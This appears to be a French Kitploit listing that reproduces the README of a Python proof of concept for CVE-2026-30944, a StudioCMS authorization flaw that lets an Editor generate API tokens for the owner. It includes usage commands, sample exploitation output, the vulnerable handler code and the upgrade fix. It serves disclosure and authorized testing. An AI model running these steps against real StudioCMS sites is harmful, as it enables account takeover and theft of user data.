Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-30944-PoC — # Preuve de concept en Python pour CVE-2026-30944, exploitant une vulnérabilité BOLA dans StudioCMS pour élever les privilèges via une génération non sécurisée de jetons API. | Kitploit
Outils/GitHubGitHub/filipegaudard/cve-2026-30944-poc
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests de Sécurité des APISécurité WebTests d'Intrusion
GitHubfilipegaudard/cve-2026-30944-poc

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-30944-PoC

# Preuve de concept en Python pour CVE-2026-30944, exploitant une vulnérabilité BOLA dans StudioCMS pour élever les privilèges via une génération non sécurisée de jetons API.

Voir le dépôt
10il y a 6 moisPas encore vérifié

🔓 CVE-2026-30944

Élévation de privilèges StudioCMS via une génération de jeton API non sécurisée

CVE CVSS CWE Type

NVD • Avis de sécurité • CWE-639


Vue d'ensemble

Le point de terminaison POST /studiocms_api/dashboard/api-tokens dans StudioCMS ≤ 0.3.0 permet à tout utilisateur authentifié (au minimum avec le rôle Editor) de générer des jetons API pour n'importe quel autre utilisateur, y compris les comptes owner et admin.

Le point de terminaison accepte un paramètre user dans le corps de la requête spécifiant l'UUID de l'utilisateur cible mais ne valide jamais si l'utilisateur demandeur est autorisé à créer des jetons au nom de cette cible. Il s'agit d'une vulnérabilité classique de Broken Object Level Authorization (BOLA) qui entraîne une élévation complète des privilèges.

Flux d'attaque

root@kitploit:~
┌──────────────┐     POST /api-tokens      ┌──────────────┐
│              │    {"user":"<owner-id>"}    │              │
│   Attaquant  │ ─────────────────────────► │  StudioCMS   │
│   (Editor)   │                            │   Serveur    │
│              │ ◄───────────────────────── │              │
└──────────────┘    {"token":"eyJhb..."}    └──────────────┘
       │                                           │
       │         GET /rest/v1/users                │
       │   Authorization: Bearer <owner-token>     │
       │ ─────────────────────────────────────────►│
       │                                           │
       │ ◄─────────────────────────────────────────│
       │         [Données utilisateur complètes en tant qu'Owner] │
       │                                           │

Détails de la vulnérabilité


Contenu

FichierDescription
cve_2026_30944_poc.pyScript d'exploitation Python avec modes manuel et automatisé
README.mdCe fichier
LICENSELicence MIT

Prérequis

  • StudioCMS ≤ 0.3.0 (version vulnérable)
  • Python 3.8+
  • Identifiants valides pour au moins un compte Editor
root@kitploit:~
pip install requests colorama

Démarrage rapide

Exploitation manuelle

root@kitploit:~
# Générer un jeton API pour l'owner en utilisant un compte éditeur
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Enregistrer les résultats au format JSON
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --save

Tests automatisés

root@kitploit:~
# Tester avec plusieurs rôles pour confirmer la vulnérabilité
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

Arguments

Requis

ArgumentDescription
-u, --urlURL de base StudioCMS cible
--uuidUUID de l'utilisateur cible (par exemple, compte owner)

Mode manuel

ArgumentDescription
--usernameNom d'utilisateur pour l'authentification
--passwordMot de passe pour l'authentification

Mode de test automatisé

Optionnel

ArgumentDescription
--saveEnregistrer les résultats dans un fichier JSON
--no-ssl-verifyDésactiver la vérification du certificat SSL

Exemple de sortie

Système vulnérable

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 1 : Authentification
  ──────────────────────────────────────────────────────────
  [+] Authentifié en tant que 'editor01'
  [*] Utilisateur de session : editor01 (editor)
  [*] UUID de session : 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 2 : Élévation de privilèges
  ──────────────────────────────────────────────────────────
  [*] UUID cible : 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Génération du jeton API pour l'utilisateur cible...
  [+] Jeton API généré avec succès !
  [!] Jeton : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...

  ──────────────────────────────────────────────────────────
  PHASE 3 : Vérification
  ──────────────────────────────────────────────────────────
  [*] Vérification de l'accès du jeton sur l'API REST...
  [+] VULNÉRABILITÉ CONFIRMÉE — Accès API complet obtenu !
  [*] 9 enregistrements utilisateur récupérés

Système corrigé

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 2 : Élévation de privilèges
  ──────────────────────────────────────────────────────────
  [*] UUID cible : 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Génération du jeton API pour l'utilisateur cible...
  [*] Accès refusé (403 Forbidden) — le point de terminaison est peut-être corrigé
  [-] Échec de l'exploitation — jeton non généré

Cause racine

Le gestionnaire vulnérable dans packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lignes 16–57) accepte un paramètre user du corps JSON et le transmet directement à la fonction de génération de jeton sans vérifications d'autorisation :

root@kitploit:~
// [1] Vérifie uniquement si l'appelant est éditeur — pas POUR QUI il crée un jeton
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] 'user' du corps de la requête — aucune validation par rapport à la session authentifiée
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);

// [3] Transmis directement à la génération de jeton — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

Le modèle d'autorisation vérifie uniquement « l'appelant est-il au moins un éditeur ? » au lieu de « l'appelant est-il autorisé à créer un jeton pour cet utilisateur spécifique ? »


Impact

  • Élévation de privilèges — Tout éditeur peut s'élever au niveau d'accès API de l'owner
  • Accès API complet — Le jeton généré accorde un accès sans restriction à tous les points de terminaison REST
  • Prise de contrôle de compte — L'attaquant peut usurper n'importe quel utilisateur en spécifiant son UUID
  • Violation de données — Accès aux listes d'utilisateurs, au contenu et à la configuration système

Atténuation

Mettez à jour StudioCMS vers la version 0.4.0 ou ultérieure :

root@kitploit:~
npm install studiocms@latest

Avertissement légal

Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.

  • Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test
  • L'accès non autorisé à des systèmes informatiques est illégal dans la plupart des juridictions
  • L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil
  • Suivez toujours les pratiques de divulgation responsable

Références

  • CVE : CVE-2026-30944
  • Avis de sécurité : GHSA-667w-mmh7-mrr4
  • CWE : CWE-639 — Contournement d'autorisation via une clé contrôlée par l'utilisateur
  • OWASP : API1:2023 — Broken Object Level Authorization
  • MITRE ATT&CK : T1134 — Manipulation de jetons d'accès

Auteur

Filipe Gaudard


Licence

Ce PoC est publié sous la licence MIT à des fins éducatives. Utilisez-le de manière responsable et éthique.

Télécharger l’outil
ChampValeur
CVECVE-2026-30944
GHSAGHSA-667w-mmh7-mrr4
CVSS v3.18.8 (Élevé) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639 : Contournement d'autorisation via une clé contrôlée par l'utilisateur
CWE (secondaire)CWE-863 : Autorisation incorrecte
MITRE ATT&CKT1134 — Manipulation de jetons d'accès
OWASP APIAPI1:2023 — Broken Object Level Authorization
Affectéstudiocms ≤ 0.3.0
Corrigé dansstudiocms 0.4.0
ArgumentDescription
--auto-testActiver les tests multi-rôles automatisés
--editor-userNom d'utilisateur du compte éditeur
--editor-passMot de passe du compte éditeur
--visitor-userNom d'utilisateur du compte visiteur
--visitor-passMot de passe du compte visiteur